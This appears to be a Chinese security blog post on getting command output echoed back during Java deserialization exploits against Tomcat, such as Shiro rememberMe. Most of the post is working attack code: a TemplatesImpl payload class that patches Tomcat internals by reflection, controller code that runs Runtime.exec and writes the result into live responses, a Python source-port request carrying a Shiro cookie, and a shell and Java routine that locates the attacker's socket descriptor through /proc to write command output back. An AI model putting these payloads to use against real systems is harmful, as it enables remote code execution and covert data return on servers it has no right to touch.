Tomcat中的回显问题

1. request 和 response

因为之前学习filter内存马时涉及到获取request和response的问题,这里详细记录一下

参考三梦师傅的文章https://xz.aliyun.com/t/7348

使用lastServicedRequest和lastServicedResponse

java 复制代码
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

/**
 * @author threedr3am
 */
public class TomcatEchoInject  extends AbstractTranslet {

  static {
    try {
      /*刚开始反序列化后执行的逻辑*/
      //修改 WRAP_SAME_OBJECT 值为 true
      Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
      java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
      java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
      modifiersField.setAccessible(true);
      modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
      f.setAccessible(true);
      if (!f.getBoolean(null)) {
        f.setBoolean(null, true);
      }

      //初始化 lastServicedRequest
      c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
      f = c.getDeclaredField("lastServicedRequest");
      modifiersField = f.getClass().getDeclaredField("modifiers");
      modifiersField.setAccessible(true);
      modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
      f.setAccessible(true);
      if (f.get(null) == null) {
        f.set(null, new ThreadLocal());
      }

      //初始化 lastServicedResponse
      f = c.getDeclaredField("lastServicedResponse");
      modifiersField = f.getClass().getDeclaredField("modifiers");
      modifiersField.setAccessible(true);
      modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
      f.setAccessible(true);
      if (f.get(null) == null) {
        f.set(null, new ThreadLocal());
      }
    } catch (Exception e) {
      e.printStackTrace();
    }
  }

  @Override
  public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

  }

  @Override
  public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
      throws TransletException {

  }
}

另一种方式https://zhuanlan.zhihu.com/p/114625962

根据网上查到的追踪到Http11Processor,具体位置如下

向上推,AbstractProtocol中会调用register方法把processor存到global中

CoyoteAdapter中
如果request为null,会去调用org.apache.catalina.connector.Request

而connector中的protocolHandler可以为AbstractProtocol

最后在Tomcat启动过程中会将Connector放入Service中
此处service为StandardService,add方法为

大佬将完整代码放到了ysoserial中,关键代码截了一下大概这段,两种方法,另一种借鉴了
https://zhuanlan.zhihu.com/p/162009205

java 复制代码
package com.controller;

import org.apache.catalina.connector.Connector;
import org.apache.catalina.connector.Request;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.Processor;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.http11.AbstractHttp11Protocol;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import java.io.IOException;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.concurrent.ConcurrentHashMap;

@Controller
public class UploadController {
    @ResponseBody
    @RequestMapping({"/upload"})
    public String upload() throws IOException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
        String string = "1231231";
        Field contextField = StandardContext.class.getDeclaredField("context");
        Field serviceField = ApplicationContext.class.getDeclaredField("service");
        // 因为在AbstractHttp11Protocol类中,没有getHandler接口, 所以要调用父类的函数
        Method getHandlerMethod = AbstractProtocol.class.getDeclaredMethod("getHandler", null);
        contextField.setAccessible(true);
        serviceField.setAccessible(true);
        getHandlerMethod.setAccessible(true);
        WebappClassLoaderBase webappClassLoaderBase =
                (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        ApplicationContext applicationContext = (ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
        StandardService standardService = (StandardService) serviceField.get(applicationContext);
        Connector[] connectors = standardService.findConnectors();
        for (int i = 0; i < connectors.length; i++) {
            if (4 == connectors[i].getScheme().length()) {
                ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
                if (protocolHandler instanceof AbstractHttp11Protocol) {
                    Class[] classes = AbstractProtocol.class.getDeclaredClasses();
                    for (int j = 0; j < classes.length; j++) {
                        if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
                            System.out.println(classes[j].getName());
                            Object object = getHandlerMethod.invoke(protocolHandler, null);
//                            Object object = ((Http11NioProtocol) protocolHandler).getHandler();
                            Field field = object.getClass().getDeclaredField("connections");
                            field.setAccessible(true);
                            ConcurrentHashMap concurrentHashMap = (ConcurrentHashMap) field.get(object);
                            for (Object processor : concurrentHashMap.values()) {
                                org.apache.coyote.Request request = ((Processor) processor).getRequest();
                                Request request1 = (Request) request.getNote(1);
                                String output = "testtesttesttest";
                                Writer writer = request1.getResponse().getWriter();
                                System.out.println(request1.getResponse().getClass().getName());
                                Field usingWriter = request1.getResponse().getClass().getDeclaredField("usingWriter");
                                usingWriter.setAccessible(true);
                                usingWriter.set(request1.getResponse(), Boolean.FALSE);
                                writer.write(output);
                                writer.flush();
                                break;
                            }
                            break;
                        }
                    }
                }
            }

        }
        return "123123";
    }
    @ResponseBody
    @RequestMapping({"/cmd"})
    public String cmd() throws NoSuchFieldException, NoSuchMethodException, IllegalAccessException, IOException, InvocationTargetException {
        String param = "cmd";
        java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
        java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
        java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
        java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler", null);
        contextField.setAccessible(true);
        serviceField.setAccessible(true);
        requestField.setAccessible(true);
        getHandlerMethod.setAccessible(true);
        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
        org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
        org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
        for (int i = 0; i < connectors.length; i++) {
            if (4 == connectors[i].getScheme().length()) {
                org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();

                if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
                    Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();

                    for (int j = 0; j < classes.length; j++) {
                        if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
                            java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
                            java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
                            globalField.setAccessible(true);
                            processorsField.setAccessible(true);
                            org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
                            java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
                            for (int k = 0; k < list.size(); k++) {
                                org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
//                                if ("tomcat".equals(tempRequest.getHeader("tomcat"))) {
                                    org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);

                                    String cmd = "calc.exe";

                                    String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                                    java.io.InputStream in = null;
                                    try {
                                        in = Runtime.getRuntime().exec(cmds).getInputStream();
                                    } catch (IOException e) {
                                        e.printStackTrace();
                                    }
                                    java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
                                    String output = s.hasNext() ? s.next() : "";
                                    java.io.Writer writer = request.getResponse().getWriter();
                                    java.lang.reflect.Field usingWriter = request.getResponse().getClass().getDeclaredField("usingWriter");
                                    usingWriter.setAccessible(true);
                                    usingWriter.set(request.getResponse(), Boolean.FALSE);
                                    writer.write(output);
                                    try {
                                        writer.flush();
                                    } catch (IOException e) {
                                        e.printStackTrace();
                                    }
                                    break;
//                                }
                            }
                            break;
                        }

                    }
                }
            }
        }
        return "114514";
    }

}

2. linux文件描述符

参考文章:https://xz.aliyun.com/t/7307

核心原理:Socket、Inode 与源端口的映射关系

在 Linux 系统中"一切皆文件",Web 服务器与客户端建立的 TCP 连接也会被分配一个文件描述符(FD)。

获取 Inode:在 /proc//fd/ 目录下,代表网络连接的软链接通常以 socket:[inode] 的形式存在,括号里的数字就是该连接的 inode 号。

匹配 TCP 表:这个 inode 号同时也会记录在系统的 TCP 状态表(/proc/net/tcp 或 /proc/net/tcp6)中。

定位源端口:TCP 表中的每一条信息都唯一对应一条连接,其中的 remote_address 字段记录了远程连接(即攻击者客户端)的 IP 和端口号。

破局思路:如果我们(攻击者)在发起 HTTP 请求时,强行指定一个特征源端口,那么我们只需要在目标服务器上通过 shell 命令查找带有这个特定源端口的 TCP 连接记录,就能拿到对应的 inode 号,进而精准锁定对应的文件描述符(FD)数字。拿到 FD 后,利用 Java 反射打开它并写入命令执行结果,即可实现带内回显。

具体实现细节

首先注意到socket后面的数字不同,这个数字实际上是inode号。这个inode号也出现在/proc/net/tcp中。

注意到每一个inode号对应唯一条tcp连接信息,并且这条信息中的remote_address项记录了远程连接的ip和端口号。说到这里其实获取socket思路就很明显了:通过指定客户端发起请求的源端口号,通过cat grep awk组合大法在tcp表中拿到inode,用拿到的inode号再去fd目录下再用cat grep wak大法拿到文件描述符的数字,再调用java代码打开文件描述符即可实现带内回显。

实现细节

指定端口号

requests库可以重新实现Http达到指定请求端口的目的。

python 复制代码
class SourcePortAdapter(HTTPAdapter):
    """"Transport adapter" that allows us to set the source port."""
    def __init__(self, port, *args, **kwargs):
        self._source_port = port
        super(SourcePortAdapter, self).__init__(*args, **kwargs)

    def init_poolmanager(self, connections, maxsize, block=False):
        self.poolmanager = PoolManager(
            num_pools=connections, maxsize=maxsize,
            block=block, source_address=('', self._source_port))

s = requests.Session()
s.mount(target, SourcePortAdapter(randNum))
resp = s.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=5, headers=headers, verify=False)

获取socket对应的文件描述符

整个流程使用的命令如下:

bash 复制代码
a=`cat /proc/$PPID/net/tcp6|awk '{if($10>0)print}'|grep -i %s|awk '{print $10}'`;b=`ls -l /proc/$PPID/fd|grep $a|awk '{print $9}'`;echo -n $b

往文件描述中写数据

现在假设shiro存在反序列化并且所用gadget的末端是走的TemplatesImpl,那么我们可以把ysoserial中的硬编码的命令执行改成下面这样的代码执行。

java 复制代码
String[] cmd = { "/bin/sh", "-c", "a=`cat /proc/$PPID/net/tcp6|awk '{if($10>0)print}'|grep -i %s|awk '{print $10}'`;b=`ls -l /proc/$PPID/fd|grep $a|awk '{print $9}'`;echo -n $b"};
java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
java.io.InputStreamReader isr  = new java.io.InputStreamReader(in);
java.io.BufferedReader br = new java.io.BufferedReader(isr);
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = br.readLine()) != null){
    stringBuilder.append(line);
}
int num = Integer.valueOf(stringBuilder.toString()).intValue();

cmd = new String[]{"/bin/sh","-c","ifconfig"};
in = Runtime.getRuntime().exec(cmd).getInputStream();
isr  = new java.io.InputStreamReader(in);
br = new java.io.BufferedReader(isr);
stringBuilder = new StringBuilder();
while ((line = br.readLine()) != null){
    stringBuilder.append(line);
}
String ret = stringBuilder.toString();

java.lang.reflect.Constructor c=java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});
c.setAccessible(true);
java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor)c.newInstance(new Object[]{new Integer(num)}));
os.write(ret.getBytes());
os.close();
相关推荐
云澜哥哥2 小时前
MyBatis 实战指南:特殊符号处理与高效批量操作
java·jvm·mybatis
CRMEB2 小时前
电商项目中订单流程可以使用哪些设计模式?如何开发?
java·设计模式·gitee·开源·php·crmeb
CNAHYZ2 小时前
Apache HttpClient 配置 SSL 证书指南
java·spring boot·http
格鸰爱童话2 小时前
向AI学习项目技能(三)
java·人工智能·python·学习
weixin199701080162 小时前
南网商城商品详情页前端性能优化实战
java·前端·性能优化
iPadiPhone2 小时前
Spring Boot 自动装配原理与 Starter 开发实战
java·spring boot·后端·spring·面试
SuGarSJL2 小时前
FakeSMTP-2.1.1使用
java·maven
码匠君2 小时前
首个基于 Spring Boot 4 的正式版发布!Dante Cloud 4.X 新特性全解析
java·spring boot·后端